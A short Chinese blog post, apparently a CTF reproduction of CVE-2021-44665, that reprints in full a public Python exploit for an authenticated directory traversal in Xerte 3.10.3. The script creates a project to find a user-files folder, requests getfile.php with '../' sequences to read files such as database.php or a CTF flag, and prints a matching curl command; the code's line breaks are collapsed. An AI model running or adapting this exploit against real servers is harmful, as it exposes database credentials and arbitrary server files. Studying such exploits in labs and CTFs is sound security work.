当前位置: 首页 > news >正文

CVE-2021-44665

CVE-2021-44665复现
image
使用网上的exp

点击查看代码
# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip
# Version: up until 3.10.3
# Tested on: Windows 10 XAMP
# CVE : CVE-2021-44665# This PoC assumes guest login is enabled. Vulnerable url:
# https://<host>/getfile.php?file=<user-direcotry>/../../database.php
# You can find a userfiles-directory by creating a project and browsing the media menu.
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download
# The userfiles-direcotry will be noted in the URL and/or when you download a file.
# They look like: <numbers>-<username>-<templatename>import requests
import re#xerte_base_url = "http://127.0.0.1"
#file_to_grab = "/../../database.php"
xerte_base_url = "http://eci-2ze3es0hytbbz6bch4u2.cloudeci1.ichunqiu.com"
file_to_grab = "/../../../../../flag"
php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.with requests.Session() as session:# Get a PHP session IDif not php_session_id:session.get(xerte_base_url) else:session.cookies.set("PHPSESSID", php_session_id)# Use a default templatedata = {'tutorialid': 'Nottingham','templatename': 'Nottingham','tutorialname': 'exploit','folder_id': ''}# Create a new project in order to create a user-foldertemplate_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)# Find template IDdata = {'template_id': re.findall('(\d+)', template_id.text)[0]}# Find the created user-direcotry:user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0]# Grab fileresult = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)print(result.text)print("|-- Used Variables: --|")print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID'])print("user direcotry: " + user_direcotry)print("Curl example:")print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)

获得flag
image

http://www.jsqmd.com/news/383433/

相关文章:

  • 证明联络 \nabla^{\mathcal{R}} 与度量相容
  • 认知几何的数学形式化
  • 2026年临沂干洗服务商优选指南:3家顶尖服务商深度解析 - 2026年企业推荐榜
  • YOLO26全面解析:架构革新、性能飞跃、实战部署:从0到1避坑指南(附完整代码)
  • 临沂干洗店加盟指南:2026年市场趋势与高性价比服务商选择 - 2026年企业推荐榜
  • 证明自指度量 g^{\mathcal{R}} 是正定度量(存在唯一性)
  • 基于SpringBoot+Vue的Web宠物商城网站管理系统设计与实现【Java+MySQL+MyBatis完整源码】
  • MAST3r计算结果 - MKT
  • 2026年武汉武昌区社区团购粮油供应商综合评测与选型指南 - 2026年企业推荐榜
  • 前后端分离大学生科创项目在线管理系统系统|SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程
  • 【毕业设计】SpringBoot+Vue+MySQL 码头船只货柜管理系统平台源码+数据库+论文+部署文档
  • SpringBoot+Vue 反欺诈平台管理平台源码【适合毕设/课设/学习】Java+MySQL
  • 分析和拆解如何制作好看封面制作
  • 临泉县仿石漆服务商专业评选:2026年五大实力品牌深度解析 - 2026年企业推荐榜
  • 2026临泉高端筑模条深槽工艺:6家可靠团队深度评测 - 2026年企业推荐榜
  • 2026年络合铁脱硫技术优质厂商综合评估与选型指南 - 2026年企业推荐榜
  • 荆门风干鸭公司2026年选择指南与实力推荐 - 2026年企业推荐榜
  • 【LGR-267-Div.2】洛谷 2 月月赛 II UTOI Round 1
  • 2026年湖北广告全案服务公司专业实力盘点 - 2026年企业推荐榜
  • 前后端分离毕业就业信息管理系统系统|SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程
  • 前后端分离web电影院购票系统系统|SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程
  • 基于SpringBoot+Vue的制造装备物联及生产管理ERP系统管理系统设计与实现【Java+MySQL+MyBatis完整源码】
  • Java SpringBoot+Vue3+MyBatis Web宠物商城网站系统源码|前后端分离+MySQL数据库
  • Java Web 制造装备物联及生产管理ERP系统系统源码-SpringBoot2+Vue3+MyBatis-Plus+MySQL8.0【含文档】
  • 2026年景观标识实力厂家盘点:6家顶尖供应商深度解析 - 2026年企业推荐榜
  • 【初学者入门C语言】之算法篇
  • 【C/C++】之组合不重复的3位数
  • 2026开年精选:长沙口碑与实力俱佳的3家沙发供应深度评估 - 2026年企业推荐榜
  • Java Web JS个人云盘管理系统系统源码-SpringBoot2+Vue3+MyBatis-Plus+MySQL8.0【含文档】
  • MySQL 主从复制(小白友好 + 企业级)